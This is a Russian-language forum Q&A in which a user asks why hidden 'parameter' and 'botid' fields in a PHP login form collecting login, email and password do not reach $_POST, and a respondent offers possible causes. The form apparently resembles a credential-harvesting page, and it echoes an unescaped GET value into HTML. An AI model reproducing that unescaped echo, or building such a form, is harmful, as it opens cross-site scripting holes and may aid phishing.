@evgeniupjhp

Почему не передаются переменные через post?

PHP:

$parameter = "blank";
$botid = $_GET['botid'];


HTML:
<form action="process.php"  method="post">
        <input type="text" class="field-password" id="password" name="login" placeholder="login">
        <input type="email" class="field" id="email" name="email" placeholder="Email Address" autocomplete="off">
        <input type="hidden" name="parameter" value="<?=$parameter ?>" />
        <input type="hidden" name="botid" value="<?=$botid ?>" />
        <input type="password" class="field-password" id="password" name="password" placeholder="Password">
        <input type="submit" class="button" name="submit" id="input_next1" value="Log In">
 </form>


в файле process.php просто print_r($_POST); передаётся всё кроме parameter и botid, что делать что бы они передавались?
  • Вопрос задан
  • 117 просмотров
Решения вопроса 1
@eandr_67
web-программист (*AMP, Go, JavaScript, вёрстка).
Потому, что не $_GET['botid'], а $_POST['botid'].

По двум предоставленным кусочкам файла невозможно понять причины проблемы.

Возможно, причина в том, что файл - index.html. И потому PHP-код в нём не выполняется.
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы